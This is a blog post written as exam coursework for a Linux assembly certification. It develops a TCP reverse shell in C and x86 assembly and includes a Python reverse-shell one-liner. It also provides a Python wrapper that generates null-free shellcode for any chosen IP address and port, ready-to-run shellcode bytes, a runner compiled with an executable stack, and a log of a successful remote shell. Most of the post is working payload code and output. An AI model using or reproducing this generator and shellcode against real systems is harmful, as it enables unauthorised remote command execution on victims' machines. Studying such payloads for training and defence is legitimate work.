This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
https://www.pentesteracademy.com/course?id=3
Student ID: PA-30398
The full source code is stored inside the repository created for this Exam: rbctee/SlaeExam.
List of files:
tcp_rev_shell.c: Reverse Shell written in C
tcp_rev_shell.nasm: Reverse Shell written in Assembly
automation/wrapper.py: python
script to automate the generation of shellcode based on arbitrary IP addresses and TCP port
automation/template.nasm: generic template used by wrapper.py
Follows the visual representation of this technique:
python -c 'import socket,os,pty;s=socket.socket();s.connect(("127.0.0.1", 4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
import socket, os, pty
s = socket.socket()
s.connect(("127.0.0.1", 4444))
# s.fileno() returns the File Descriptor associated with the socket
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn("/bin/sh")
#include <netinet/ip.h>
int main() {
int client_socket_fd;
// define an array made up of 1 value: 0
// this way I don't have to pass NULL pointers to execve
char *empty[] = { 0 };
struct sockaddr_in client_address;
// create a TCP socket
client_socket_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
// connect to 127.0.0.1:4444
// where netcat is listening
// /bin/sh -c "nc -v -l 4444"
client_address.sin_family = AF_INET;
// convert the IP address to an 'in_addr' struct
inet_aton("127.0.0.1", &client_address.sin_addr);
client_address.sin_port = htons(4444);
// connect to the socket
connect(client_socket_fd, (struct sockaddr *)&client_address, sizeof(client_address));
// redirect stdin/stdout/stderr to the socket
dup2(client_socket_fd, 0);
dup2(client_socket_fd, 1);
dup2(client_socket_fd, 2);
// now that the standard file descriptors are redirected
// once we spawn /bin/sh, input/output/error are going to be bound
// to the socket
execve("/bin/sh", empty, empty);
}
client_address.sin_addr.s_addr = "127.0.0.1";
struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */
};
/* Internet address */
struct in_addr {
uint32_t s_addr; /* address in network byte order */
};
int main() {
int client_socket_fd;
char *empty[] = { 0 };
struct sockaddr_in client_address;
client_socket_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
; Author: Robert Catalin Raducioiu (rbct)
global _start
section .text
_start:
; clear EAX, EBX, and ECX registers
xor eax, eax
mov ebx, eax
mov ecx, eax
; copy 102 into EAX: socketcall() syscall
mov al, 102
; 3rd argument of socket(): IPPROTO_TCP (0x6)
mov cl, 6
push ecx
; 1st argument of socketcall(): SYS_SOCKET
; 2nd argument of socket(): SOCK_STREAM (0x00000001)
inc bl
push ebx
; 1st argument of socket(): AF_INET
mov cl, 2
push ecx
; 2nd argument of socketcall(): pointer to the arguments for SYS_SOCKET call
mov ecx, esp
; call syscall
int 0x80
; save server socket file descriptor
mov esi, eax
client_address.sin_family = AF_INET;
inet_aton("127.0.0.1", &client_address.sin_addr);
client_address.sin_port = htons(4444);
connect(
client_socket_fd,
(struct sockaddr *)&client_address,
sizeof(client_address)
);
struct sockaddr_in {
unsigned short sin_family;
unsigned short sin_port;
struct in_addr sin_addr;
};
struct in_addr sin_addr {
unsigned int s_addr;
}
; inet_aton("127.0.0.1")
;rol ebx, 24
;push ebx
push 0x0100007f
;mov [esp], BYTE 127
; 0x115c -> htons(4444)
push WORD 0x5c11
; 0x0002 -> AF_INET
mov bl, 2
push WORD bx
; save the pointer to the struct for later
mov ecx, esp
; 3rd argument of connect(): size of the struct
; push 16
xor ebx, ebx
mov bl, 16
push ebx
; 2nd argument of connect(): pointer to the struct
push ecx
; 1st argument of connect(): file descriptor of the server socket
push esi
; syscall socketcall()
xor eax, eax
mov al, 102
; 1st argument of socketcall(): call SYS_CONNECT
mov bl, 3
; 2nd argument of socketcall(): pointer to the parameters of bind()
mov ecx, esp
int 0x80
; loop counter (repeats dup2() three times)
mov ecx, ebx
RepeatDuplicate:
; save ecx since it's modified later
push ecx
; dup2() syscall
mov al, 63
; Client file descriptor
mov ebx, esi
; Redirect this file descriptor (stdin/stdout/stderr) to the Client File descritptor
mov ecx, DWORD [esp]
dec ecx
; call dup2()
int 0x80
; restore ecx and check if loop is over
pop ecx
loop RepeatDuplicate
push ecx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
; execve syscall
xor eax, eax
mov al, 11
int 0x80
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-p', '--port', type=int, help='TCP Port for the Bind Shell', required=True, metavar="[1-65535]")
parser.add_argument('-ip', "--ip", help="IP address of the Bind Shell", required=True)
parser.add_argument('-t', '--template', help='Path of the NASM template file. Example: -t /tmp/template.nasm', required=True)
parser.add_argument('-o', '--output', help='Path for the output file. Example: -o /tmp/output.nasm', required=True)
args = parser.parse_args()
ip_address = args.ip
tcp_port = args.port
if tcp_port not in range(1, 65536):
print(f"[!] Argument '--port' must be in range [1-65535]")
sys.exit(1)
shellcode_template = args.template
output_file_path = args.output
replace_template_values(shellcode_template, tcp_port, ip_address, output_file_path)
generate_shellcode(output_file_path)
def replace_template_values(template_name, tcp_port, ip_address, output_file_path):
with open(template_name) as f:
template_code = f.read()
tcp_port_hex = (tcp_port).to_bytes(2, "little").hex()
if '00' in tcp_port_hex:
if '00' in tcp_port_hex[:2]:
non_null_byte = tcp_port_hex[2:]
replace_code = f"mov bl, 0x{non_null_byte}\n push bx\n xor ebx, ebx"
else:
non_null_byte = tcp_port_hex[:2]
replace_code = f"mov bh, 0x{non_null_byte}\n push bx\n xor ebx, ebx"
else:
replace_code = f"push WORD 0x{tcp_port_hex}"
template_code = template_code.replace("{{ TEMPLATE_TCP_PORT }}", replace_code, 1)
ip_address_bytes = [int(x) for x in ip_address.split(".")][::-1]
if 0 in ip_address_bytes:
print("[!] Found NULL byte in IP address")
# choose a random byte from the range(1,256), excluding the bytes that make up the IP address
random_xor_byte = random.choice(list(set(range(1,256)) - set(ip_address_bytes)))
# encode XORing DWORD and XORed DWORD to hexadecimal
xor_dword = (bytes([random_xor_byte]) * 4).hex()
ip_address_xored_bytes = bytes([x ^ random_xor_byte for x in ip_address_bytes]).hex()
replace_code = f"mov ebx, 0x{ip_address_xored_bytes}\n xor ebx, 0x{xor_dword}\n push ebx\n xor ebx, ebx"
else:
ip_address_hex = "".join([(x).to_bytes(1, "little").hex() for x in ip_address_bytes])
replace_code = f"push 0x{ip_address_hex}"
template_code = template_code.replace("{{ TEMPLATE_TCP_IP }}", replace_code, 1)
with open(output_file_path, 'w') as f:
f.write(template_code)
python3 script.py -h
# usage: wrapper.py [-h] -p [1-65535] -ip IP -t TEMPLATE -o OUTPUT
# optional arguments:
# -h, --help show this help message and exit
# -p [1-65535], --port [1-65535]
# TCP Port of the Bind Shell
# -ip IP, --ip IP IP address of the Bind Shell
# -t TEMPLATE, --template TEMPLATE
# Path of the NASM template file. Example: -t /tmp/template.nasm
# -o OUTPUT, --output OUTPUT
# Path of the output file. Example: -o /tmp/output.nasm
python3 wrapper.py -p 1234 -ip "127.0.0.1" -t ./template.nasm -o /tmp/output.nasm
# [!] Found NULL byte in IP address
# [+] Object file generated at /tmp/output.nasm
# [+] Executable binary generated at /tmp/output
# [+] Shellcode length: 99 bytes
# [+] Shellcode:
# "\x31\xc0\x89\xc3\x89\xc1\xb0\x66\xb1\x06\x51\xfe\xc3\x53\xb1\x02\x51\x89\xe1\xcd\x80\x89\xc6\xbb\xa0\xdf\xdf\xde\x81\xf3\xdf\xdf\xdf\xdf\x53\x31\xdb\x66\x68\x04\xd2\xb3\x02\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x56\x31\xc0\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x89\xd9\x51\xb0\x3f\x89\xf3\x8b\x0c\x24\x49\xcd\x80\x59\xe2\xf2\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc0\xb0\x0b\xcd\x80";
python3 wrapper.py -p 256 -ip "192.168.1.107" -t ./template.nasm -o /tmp/output.nasm
# [+] Object file generated at /tmp/output.nasm
# [+] Executable binary generated at /tmp/output
# [+] Shellcode length: 92 bytes
# [+] Shellcode:
# "\x31\xc0\x89\xc3\x89\xc1\xb0\x66\xb1\x06\x51\xfe\xc3\x53\xb1\x02\x51\x89\xe1\xcd\x80\x89\xc6\x68\xc0\xa8\x01\x6b\xb3\x01\x66\x53\x31\xdb\xb3\x02\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x56\x31\xc0\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x89\xd9\x51\xb0\x3f\x89\xf3\x8b\x0c\x24\x49\xcd\x80\x59\xe2\xf2\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc0\xb0\x0b\xcd\x80";
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x31\xc0\x89\xc3\x89\xc1\xb0\x66\xb1\x06\x51\xfe\xc3\x53\xb1\x02\x51\x89\xe1\xcd\x80\x89\xc6\x68\xc0\xa8\x01\x6b\xb3\x01\x66\x53\x31\xdb\xb3\x02\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x56\x31\xc0\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x89\xd9\x51\xb0\x3f\x89\xf3\x8b\x0c\x24\x49\xcd\x80\x59\xe2\xf2\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc0\xb0\x0b\xcd\x80";
main() {
printf("Shellcode length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
gcc -fno-stack-protector -z execstack shellcode_runner.c -o /tmp/tcp_rev_shell
/tmp/tcp_rev_shell
sudo nc -nvlp 256
# Ncat: Listening on :::256
# Ncat: Listening on 0.0.0.0:256
# Ncat: Connection from 192.168.1.105.
# Ncat: Connection from 192.168.1.105:60058.
# id
# uid=1000(rbct) gid=1000(rbct) groups=1000(rbct),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare)
# whoami
# rbct